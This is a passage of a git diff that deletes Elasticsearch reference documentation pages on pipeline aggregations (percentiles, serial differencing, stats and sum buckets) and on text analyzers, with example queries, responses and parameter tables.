-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        }
-      }
-    },
-    "percentiles_monthly_sales": {
-      "percentiles_bucket": {
-        "buckets_path": "sales_per_month>sales", <1>
-        "percents": [ 25.0, 50.0, 75.0 ]         <2>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this percentiles_bucket aggregation that we want to calculate percentiles for
-the `sales` aggregation in the `sales_per_month` date histogram.
-<2> `percents` specifies which percentiles we wish to calculate, in this case, the 25th, 50th and 75th percentiles.
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               }
-            }
-         ]
-      },
-      "percentiles_monthly_sales": {
-        "values" : {
-            "25.0": 375.0,
-            "50.0": 375.0,
-            "75.0": 550.0
-         }
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-==== Percentiles_bucket implementation
-
-The Percentile Bucket returns the nearest input data point that is not greater than the requested percentile; it does not
-interpolate between data points.
-
-The percentiles are calculated exactly and is not an approximation (unlike the Percentiles Metric). This means
-the implementation maintains an in-memory, sorted list of your data to compute the percentiles, before discarding the
-data.  You may run into memory pressure issues if you attempt to calculate percentiles over many millions of
-data-points in a single `percentiles_bucket`.
diff --git a/docs/reference/aggregations/pipeline/serial-diff-aggregation.asciidoc b/docs/reference/aggregations/pipeline/serial-diff-aggregation.asciidoc
deleted file mode 100644
index 9909953d7c3..00000000000
--- a/docs/reference/aggregations/pipeline/serial-diff-aggregation.asciidoc
+++ /dev/null
@@ -1,102 +0,0 @@
-[[search-aggregations-pipeline-serialdiff-aggregation]]
-=== Serial differencing aggregation
-++++
-<titleabbrev>Serial differencing</titleabbrev>
-++++
-
-Serial differencing is a technique where values in a time series are subtracted from itself at
-different time lags or periods. For example, the datapoint f(x) = f(x~t~) - f(x~t-n~), where n is the period being used.
-
-A period of 1 is equivalent to a derivative with no time normalization: it is simply the change from one point to the
-next. Single periods are useful for removing constant, linear trends.
-
-Single periods are also useful for transforming data into a stationary series. In this example, the Dow Jones is
-plotted over ~250 days. The raw data is not stationary, which would make it difficult to use with some techniques.
-
-By calculating the first-difference, we de-trend the data (e.g. remove a constant, linear trend).  We can see that the
-data becomes a stationary series (e.g. the first difference is randomly distributed around zero, and doesn't seem to
-exhibit any pattern/behavior). The transformation reveals that the dataset is following a random-walk; the value is the
-previous value +/- a random amount.  This insight allows selection of further tools for analysis.
-
-[[serialdiff_dow]]
-.Dow Jones plotted and made stationary with first-differencing
-image::images/pipeline_serialdiff/dow.png[]
-
-Larger periods can be used to remove seasonal / cyclic behavior. In this example, a population of lemmings was
-synthetically generated with a sine wave + constant linear trend + random noise. The sine wave has a period of 30 days.
-
-The first-difference removes the constant trend, leaving just a sine wave. The 30th-difference is then applied to the
-first-difference to remove the cyclic behavior, leaving a stationary series which is amenable to other analysis.
-
-[[serialdiff_lemmings]]
-.Lemmings data plotted made stationary with 1st and 30th difference
-image::images/pipeline_serialdiff/lemmings.png[]
-
-
-
-==== Syntax
-
-A `serial_diff` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "serial_diff": {
-    "buckets_path": "the_sum",
-    "lag": "7"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[serial-diff-params]]
-.`serial_diff` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |Path to the metric of interest (see <<buckets-path-syntax, `buckets_path` Syntax>> for more details |Required |
-|`lag` |The historical bucket to subtract from the current value. E.g. a lag of 7 will subtract the current value from
- the value 7 buckets ago. Must be a positive, non-zero integer |Optional |`1`
-|`gap_policy` |Determines what should happen when a gap in the data is encountered. |Optional |`insert_zero`
-|`format` |Format to apply to the output value of this aggregation |Optional | `null`
-|===
-
-`serial_diff` aggregations must be embedded inside of a `histogram` or `date_histogram` aggregation:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-   "size": 0,
-   "aggs": {
-      "my_date_histo": {                  <1>
-         "date_histogram": {
-            "field": "timestamp",
-            "calendar_interval": "day"
-         },
-         "aggs": {
-            "the_sum": {
-               "sum": {
-                  "field": "lemmings"     <2>
-               }
-            },
-            "thirtieth_difference": {
-               "serial_diff": {                <3>
-                  "buckets_path": "the_sum",
-                  "lag" : 30
-               }
-            }
-         }
-      }
-   }
-}
---------------------------------------------------
-
-<1> A `date_histogram` named "my_date_histo" is constructed on the "timestamp" field, with one-day intervals
-<2> A `sum` metric is used to calculate the sum of a field.  This could be any metric (sum, min, max, etc)
-<3> Finally, we specify a `serial_diff` aggregation which uses "the_sum" metric as its input.
-
-Serial differences are built by first specifying a `histogram` or `date_histogram` over a field.  You can then optionally
-add normal metrics, such as a `sum`, inside of that histogram.  Finally, the `serial_diff` is embedded inside the histogram.
-The `buckets_path` parameter is then used to "point" at one of the sibling metrics inside of the histogram (see
-<<buckets-path-syntax>> for a description of the syntax for `buckets_path`.
diff --git a/docs/reference/aggregations/pipeline/stats-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/stats-bucket-aggregation.asciidoc
deleted file mode 100644
index ba72b2533ea..00000000000
--- a/docs/reference/aggregations/pipeline/stats-bucket-aggregation.asciidoc
+++ /dev/null
@@ -1,120 +0,0 @@
-[[search-aggregations-pipeline-stats-bucket-aggregation]]
-=== Stats bucket aggregation
-++++
-<titleabbrev>Stats bucket</titleabbrev>
-++++
-
-A sibling pipeline aggregation which calculates a variety of stats across all bucket of a specified metric in a sibling aggregation.
-The specified metric must be numeric and the sibling aggregation must be a multi-bucket aggregation.
-
-==== Syntax
-
-A `stats_bucket` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "stats_bucket": {
-    "buckets_path": "the_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[stats-bucket-params]]
-.`stats_bucket` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to calculate stats for (see <<buckets-path-syntax>> for more
- details) |Required |
-|`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional | `skip`
-|`format` |format to apply to the output value of this aggregation |Optional | `null`
-|===
-
-The following snippet calculates the stats for monthly `sales`:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        }
-      }
-    },
-    "stats_monthly_sales": {
-      "stats_bucket": {
-        "buckets_path": "sales_per_month>sales" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `bucket_paths` instructs this `stats_bucket` aggregation that we want the calculate stats for the `sales` aggregation in the
-`sales_per_month` date histogram.
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               }
-            }
-         ]
-      },
-      "stats_monthly_sales": {
-         "count": 3,
-         "min": 60.0,
-         "max": 550.0,
-         "avg": 328.3333333333333,
-         "sum": 985.0
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/pipeline/sum-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/sum-bucket-aggregation.asciidoc
deleted file mode 100644
index e0075471772..00000000000
--- a/docs/reference/aggregations/pipeline/sum-bucket-aggregation.asciidoc
+++ /dev/null
@@ -1,117 +0,0 @@
-[[search-aggregations-pipeline-sum-bucket-aggregation]]
-=== Sum bucket aggregation
-++++
-<titleabbrev>Sum bucket</titleabbrev>
-++++
-
-
-A sibling pipeline aggregation which calculates the sum across all buckets of a specified metric in a sibling aggregation.
-The specified metric must be numeric and the sibling aggregation must be a multi-bucket aggregation.
-
-==== Syntax
-
-A `sum_bucket` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "sum_bucket": {
-    "buckets_path": "the_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[sum-bucket-params]]
-.`sum_bucket` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to find the sum for (see <<buckets-path-syntax>> for more
- details) |Required |
- |`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional | `skip`
- |`format` |format to apply to the output value of this aggregation |Optional |`null` 
-|===
-
-The following snippet calculates the sum of all the total monthly `sales` buckets:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        }
-      }
-    },
-    "sum_monthly_sales": {
-      "sum_bucket": {
-        "buckets_path": "sales_per_month>sales" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this sum_bucket aggregation that we want the sum of the `sales` aggregation in the
-`sales_per_month` date histogram.
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               }
-            }
-         ]
-      },
-      "sum_monthly_sales": {
-          "value": 985.0
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/analysis.asciidoc b/docs/reference/analysis.asciidoc
deleted file mode 100644
index 15684f60a88..00000000000
--- a/docs/reference/analysis.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
-[[analysis]]
-= Text analysis
-
-:lucene-analysis-docs:  https://lucene.apache.org/core/{lucene_version_path}/analyzers-common/org/apache/lucene/analysis
-:lucene-stop-word-link: https://github.com/apache/lucene-solr/blob/master/lucene/analysis/common/src/resources/org/apache/lucene/analysis
-
-[partintro]
---
-
-_Text analysis_ is the process of converting unstructured text, like
-the body of an email or a product description, into a structured format that's
-optimized for search.
-
-[discrete]
-[[when-to-configure-analysis]]
-=== When to configure text analysis
-
-{es} performs text analysis when indexing or searching <<text,`text`>> fields.
-
-If your index doesn't contain `text` fields, no further setup is needed; you can
-skip the pages in this section.
-
-However, if you use `text` fields or your text searches aren't returning results
-as expected, configuring text analysis can often help. You should also look into
-analysis configuration if you're using {es} to:
-
-* Build a search engine
-* Mine unstructured data
-* Fine-tune search for a specific language
-* Perform lexicographic or linguistic research
-
-[discrete]
-[[analysis-toc]]
-=== In this section
-
-* <<analysis-overview>>
-* <<analysis-concepts>>
-* <<configure-text-analysis>>
-* <<analysis-analyzers>>
-* <<analysis-tokenizers>>
-* <<analysis-tokenfilters>>
-* <<analysis-charfilters>>
-* <<analysis-normalizers>>
-
---
-
-include::analysis/overview.asciidoc[]
-
-include::analysis/concepts.asciidoc[]
-
-include::analysis/configure-text-analysis.asciidoc[]
-
-include::analysis/analyzers.asciidoc[]
-
-include::analysis/tokenizers.asciidoc[]
-
-include::analysis/tokenfilters.asciidoc[]
-
-include::analysis/charfilters.asciidoc[]
-
-include::analysis/normalizers.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/analysis/analyzers.asciidoc b/docs/reference/analysis/analyzers.asciidoc
deleted file mode 100644
index 15e8fb435f2..00000000000
--- a/docs/reference/analysis/analyzers.asciidoc
+++ /dev/null
@@ -1,71 +0,0 @@
-[[analysis-analyzers]]
-== Built-in analyzer reference
-
-Elasticsearch ships with a wide range of built-in analyzers, which can be used
-in any index without further configuration:
-
-<<analysis-standard-analyzer,Standard Analyzer>>::
-
-The `standard` analyzer divides text into terms on word boundaries, as defined
-by the Unicode Text Segmentation algorithm. It removes most punctuation,
-lowercases terms, and supports removing stop words.
-
-<<analysis-simple-analyzer,Simple Analyzer>>::
-
-The `simple` analyzer divides text into terms whenever it encounters a
-character which is not a letter.  It lowercases all terms.
-
-<<analysis-whitespace-analyzer,Whitespace Analyzer>>::
-
-The `whitespace` analyzer divides text into terms whenever it encounters any
-whitespace character.  It does not lowercase terms.
-
-<<analysis-stop-analyzer,Stop Analyzer>>::
-
-The `stop` analyzer is like the `simple` analyzer, but also supports removal
-of stop words.
-
-<<analysis-keyword-analyzer,Keyword Analyzer>>::
-
-The `keyword` analyzer is a ``noop'' analyzer that accepts whatever text it is
-given and outputs the exact same text as a single term.
-
-<<analysis-pattern-analyzer,Pattern Analyzer>>::
-
-The `pattern` analyzer uses a regular expression to split the text into terms.
-It supports lower-casing and stop words.
-
-<<analysis-lang-analyzer,Language Analyzers>>::
-
-Elasticsearch provides many language-specific analyzers like `english` or
-`french`.
-
-<<analysis-fingerprint-analyzer,Fingerprint Analyzer>>::
-
-The `fingerprint` analyzer is a specialist analyzer which creates a
-fingerprint which can be used for duplicate detection.
-
-[discrete]
-=== Custom analyzers
-
-If you do not find an analyzer suitable for your needs, you can create a
-<<analysis-custom-analyzer,`custom`>> analyzer which combines the appropriate
-<<analysis-charfilters, character filters>>,
-<<analysis-tokenizers,tokenizer>>, and <<analysis-tokenfilters,token filters>>.
-
-
-include::analyzers/fingerprint-analyzer.asciidoc[]
-
-include::analyzers/keyword-analyzer.asciidoc[]
-
-include::analyzers/lang-analyzer.asciidoc[]
-
-include::analyzers/pattern-analyzer.asciidoc[]
-
-include::analyzers/simple-analyzer.asciidoc[]
-
-include::analyzers/standard-analyzer.asciidoc[]
-
-include::analyzers/stop-analyzer.asciidoc[]
-
-include::analyzers/whitespace-analyzer.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/analysis/analyzers/configuring.asciidoc b/docs/reference/analysis/analyzers/configuring.asciidoc
deleted file mode 100644
index c848004c4f0..00000000000
--- a/docs/reference/analysis/analyzers/configuring.asciidoc
+++ /dev/null
@@ -1,94 +0,0 @@
-[[configuring-analyzers]]
-=== Configuring built-in analyzers
-
-The built-in analyzers can be used directly without any configuration.  Some
-of them, however, support configuration options to alter their behaviour.  For
-instance, the <<analysis-standard-analyzer,`standard` analyzer>> can be configured
-to support a list of stop words:
-
-[source,console]
---------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "std_english": { <1>
-          "type":      "standard",
-          "stopwords": "_english_"
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "my_text": {
-        "type":     "text",
-        "analyzer": "standard", <2>
-        "fields": {
-          "english": {
-            "type":     "text",
-            "analyzer": "std_english" <3>
-          }
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "field": "my_text", <2>
-  "text": "The old brown cow"
-}
-
-POST my-index-000001/_analyze
-{
-  "field": "my_text.english", <3>
-  "text": "The old brown cow"
-}
-
---------------------------------
-
-<1> We define the `std_english` analyzer to be based on the `standard`
-    analyzer, but configured to remove the pre-defined list of English stopwords.
-<2> The `my_text` field uses the `standard` analyzer directly, without
-    any configuration.  No stop words will be removed from this field.
-    The resulting terms are: `[ the, old, brown, cow ]`
-<3> The `my_text.english` field uses the `std_english` analyzer, so
-    English stop words will be removed.  The resulting terms are:
-    `[ old, brown, cow ]`
-
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "old",
-      "start_offset": 4,
-      "end_offset": 7,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "brown",
-      "start_offset": 8,
-      "end_offset": 13,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "cow",
-      "start_offset": 14,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
diff --git a/docs/reference/analysis/analyzers/custom-analyzer.asciidoc b/docs/reference/analysis/analyzers/custom-analyzer.asciidoc
deleted file mode 100644
index 3757a0c3be3..00000000000
--- a/docs/reference/analysis/analyzers/custom-analyzer.asciidoc
+++ /dev/null
@@ -1,260 +0,0 @@
-[[analysis-custom-analyzer]]
-=== Create a custom analyzer
-
-When the built-in analyzers do not fulfill your needs, you can create a
-`custom` analyzer which uses the appropriate combination of:
-
-* zero or more <<analysis-charfilters, character filters>>
-* a <<analysis-tokenizers,tokenizer>>
-* zero or more <<analysis-tokenfilters,token filters>>.
-
-[discrete]
-=== Configuration
-
-The `custom` analyzer accepts the following parameters:
-
-[horizontal]
-`tokenizer`::
-
-    A built-in or customised <<analysis-tokenizers,tokenizer>>.
-    (Required)
-
-`char_filter`::
-
-    An optional array of built-in or customised
-    <<analysis-charfilters, character filters>>.
-
-`filter`::
-
-    An optional array of built-in or customised
-    <<analysis-tokenfilters, token filters>>.
-
-`position_increment_gap`::
-
-    When indexing an array of text values, Elasticsearch inserts a fake "gap"
-    between the last term of one value and the first term of the next value to
-    ensure that a phrase query doesn't match two terms from different array
-    elements.  Defaults to `100`. See <<position-increment-gap>> for more.
-
-[discrete]
-=== Example configuration
-
-Here is an example that combines the following:
-
-Character Filter::
-* <<analysis-htmlstrip-charfilter,HTML Strip Character Filter>>
-
-Tokenizer::
-* <<analysis-standard-tokenizer,Standard Tokenizer>>
-
-Token Filters::
-* <<analysis-lowercase-tokenfilter,Lowercase Token Filter>>
-* <<analysis-asciifolding-tokenfilter,ASCII-Folding Token Filter>>
-
-[source,console]
---------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_custom_analyzer": {
-          "type": "custom", <1>
-          "tokenizer": "standard",
-          "char_filter": [
-            "html_strip"
-          ],
-          "filter": [
-            "lowercase",
-            "asciifolding"
-          ]
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_custom_analyzer",
-  "text": "Is this <b>déjà vu</b>?"
-}
---------------------------------
-
-<1> Setting `type` to `custom` tells Elasticsearch that we are defining a custom analyzer.
-    Compare this to how <<configuring-analyzers,built-in analyzers can be configured>>:
-    `type` will be set to the name of the built-in analyzer, like
-    <<analysis-standard-analyzer,`standard`>> or <<analysis-simple-analyzer,`simple`>>.
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "is",
-      "start_offset": 0,
-      "end_offset": 2,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "this",
-      "start_offset": 3,
-      "end_offset": 7,
-      "type": "<ALPHANUM>",
-      "position": 1
-    },
-    {
-      "token": "deja",
-      "start_offset": 11,
-      "end_offset": 15,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "vu",
-      "start_offset": 16,
-      "end_offset": 22,
-      "type": "<ALPHANUM>",
-      "position": 3
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ is, this, deja, vu ]
----------------------------
-
-The previous example used tokenizer, token filters, and character filters with
-their default configurations, but it is possible to create configured versions
-of each and to use them in a custom analyzer.
-
-Here is a more complicated example that combines the following:
-
-Character Filter::
-* <<analysis-mapping-charfilter,Mapping Character Filter>>, configured to replace `:)` with `_happy_` and `:(` with `_sad_`
-
-Tokenizer::
-*  <<analysis-pattern-tokenizer,Pattern Tokenizer>>, configured to split on punctuation characters
-
-Token Filters::
-* <<analysis-lowercase-tokenfilter,Lowercase Token Filter>>
-* <<analysis-stop-tokenfilter,Stop Token Filter>>, configured to use the pre-defined list of English stop words
-
-
-Here is an example:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_custom_analyzer": { <1>
-          "type": "custom",
-          "char_filter": [
-            "emoticons"
-          ],
-          "tokenizer": "punctuation",
-          "filter": [
-            "lowercase",
-            "english_stop"
-          ]
-        }
-      },
-      "tokenizer": {
-        "punctuation": { <2>
-          "type": "pattern",
-          "pattern": "[ .,!?]"
-        }
-      },
-      "char_filter": {
-        "emoticons": { <3>
-          "type": "mapping",
-          "mappings": [
-            ":) => _happy_",
-            ":( => _sad_"
-          ]
-        }
-      },
-      "filter": {
-        "english_stop": { <4>
-          "type": "stop",
-          "stopwords": "_english_"
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_custom_analyzer",
-  "text": "I'm a :) person, and you?"
-}
---------------------------------------------------
-
-<1> Assigns the index a default custom analyzer, `my_custom_analyzer`. This
-analyzer uses a custom tokenizer, character filter, and token filter that
-are defined later in the request.
-<2> Defines the custom `punctuation` tokenizer.
-<3> Defines the custom `emoticons` character filter.
-<4> Defines the custom `english_stop` token filter.
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "i'm",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "_happy_",
-      "start_offset": 6,
-      "end_offset": 8,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "person",
-      "start_offset": 9,
-      "end_offset": 15,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "you",
-      "start_offset": 21,
-      "end_offset": 24,
-      "type": "word",
-      "position": 5
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ i'm, _happy_, person, you ]
----------------------------
diff --git a/docs/reference/analysis/analyzers/fingerprint-analyzer.asciidoc b/docs/reference/analysis/analyzers/fingerprint-analyzer.asciidoc
deleted file mode 100644
index f66acb452c4..00000000000
--- a/docs/reference/analysis/analyzers/fingerprint-analyzer.asciidoc
+++ /dev/null
@@ -1,178 +0,0 @@
-[[analysis-fingerprint-analyzer]]
-=== Fingerprint analyzer
-++++
-<titleabbrev>Fingerprint</titleabbrev>
-++++
-
-The `fingerprint` analyzer implements a
-https://github.com/OpenRefine/OpenRefine/wiki/Clustering-In-Depth#fingerprint[fingerprinting algorithm]
-which is used by the OpenRefine project to assist in clustering.
-
-Input text is lowercased, normalized to remove extended characters, sorted,
-deduplicated and concatenated into a single token.  If a stopword list is
-configured, stop words will also be removed.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "analyzer": "fingerprint",
-  "text": "Yes yes, Gödel said this sentence is consistent and."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "and consistent godel is said sentence this yes",
-      "start_offset": 0,
-      "end_offset": 52,
-      "type": "fingerprint",
-      "position": 0
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following single term:
-
-[source,text]
----------------------------
-[ and consistent godel is said sentence this yes ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `fingerprint` analyzer accepts the following parameters:
-
-[horizontal]
-`separator`::
-
-    The character to use to concatenate the terms.  Defaults to a space.
-
-`max_output_size`::
-
-    The maximum token size to emit.  Defaults to `255`. Tokens larger than
-    this size will be discarded.
-
-`stopwords`::
-
-    A pre-defined stop words list like `_english_` or an array  containing a
-    list of stop words.  Defaults to `_none_`.
-
-`stopwords_path`::
-
-    The path to a file containing stop words.
-
-See the <<analysis-stop-tokenfilter,Stop Token Filter>> for more information
-about stop word configuration.
-
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `fingerprint` analyzer to use the
-pre-defined list of English stop words:
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_fingerprint_analyzer": {
-          "type": "fingerprint",
-          "stopwords": "_english_"
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_fingerprint_analyzer",
-  "text": "Yes yes, Gödel said this sentence is consistent and."
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "consistent godel said sentence yes",
-      "start_offset": 0,
-      "end_offset": 52,
-      "type": "fingerprint",
-      "position": 0
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following term:
-
-[source,text]
----------------------------
-[ consistent godel said sentence yes ]
----------------------------
-
-[discrete]
-=== Definition
-
-The `fingerprint` tokenizer consists of:
-
-Tokenizer::
-* <<analysis-standard-tokenizer,Standard Tokenizer>>
-
-Token Filters (in order)::
-* <<analysis-lowercase-tokenfilter,Lower Case Token Filter>>
-* <<analysis-asciifolding-tokenfilter>>
-* <<analysis-stop-tokenfilter,Stop Token Filter>> (disabled by default)
-* <<analysis-fingerprint-tokenfilter>>
-
-If you need to customize the `fingerprint` analyzer beyond the configuration
-parameters then you need to recreate it as a `custom` analyzer and modify
-it, usually by adding token filters. This would recreate the built-in
-`fingerprint` analyzer and you can use it as a starting point for further
-customization:
-
-[source,console]
-----------------------------------------------------
-PUT /fingerprint_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "rebuilt_fingerprint": {
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase",
-            "asciifolding",
-            "fingerprint"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: fingerprint_example, first: fingerprint, second: rebuilt_fingerprint}\nendyaml\n/]
diff --git a/docs/reference/analysis/analyzers/keyword-analyzer.asciidoc b/docs/reference/analysis/analyzers/keyword-analyzer.asciidoc
deleted file mode 100644
index 888376bc46f..00000000000
--- a/docs/reference/analysis/analyzers/keyword-analyzer.asciidoc
+++ /dev/null
@@ -1,89 +0,0 @@
-[[analysis-keyword-analyzer]]
-=== Keyword analyzer
-++++
-<titleabbrev>Keyword</titleabbrev>
-++++
-
-The `keyword` analyzer is a ``noop'' analyzer which returns the entire input
-string as a single token.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "analyzer": "keyword",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.",
-      "start_offset": 0,
-      "end_offset": 56,
-      "type": "word",
-      "position": 0
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following single term:
-
-[source,text]
----------------------------
-[ The 2 QUICK Brown-Foxes jumped over the lazy dog's bone. ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `keyword` analyzer is not configurable.
-
-[discrete]
-=== Definition
-
-The `keyword` analyzer consists of:
-
-Tokenizer::
-* <<analysis-keyword-tokenizer,Keyword Tokenizer>>
-
-If you need to customize the `keyword` analyzer then you need to
-recreate it as a `custom` analyzer and modify it, usually by adding
-token filters. Usually, you should prefer the
-<<keyword, Keyword type>> when you want strings that are not split
-into tokens, but just in case you need it, this would recreate the
-built-in `keyword` analyzer and you can use it as a starting point
-for further customization:
-
-[source,console]
-----------------------------------------------------
-PUT /keyword_example
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "rebuilt_keyword": {
-          "tokenizer": "keyword",
-          "filter": [         <1>
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: keyword_example, first: keyword, second: rebuilt_keyword}\nendyaml\n/]
-
-<1> You'd add any token filters here.
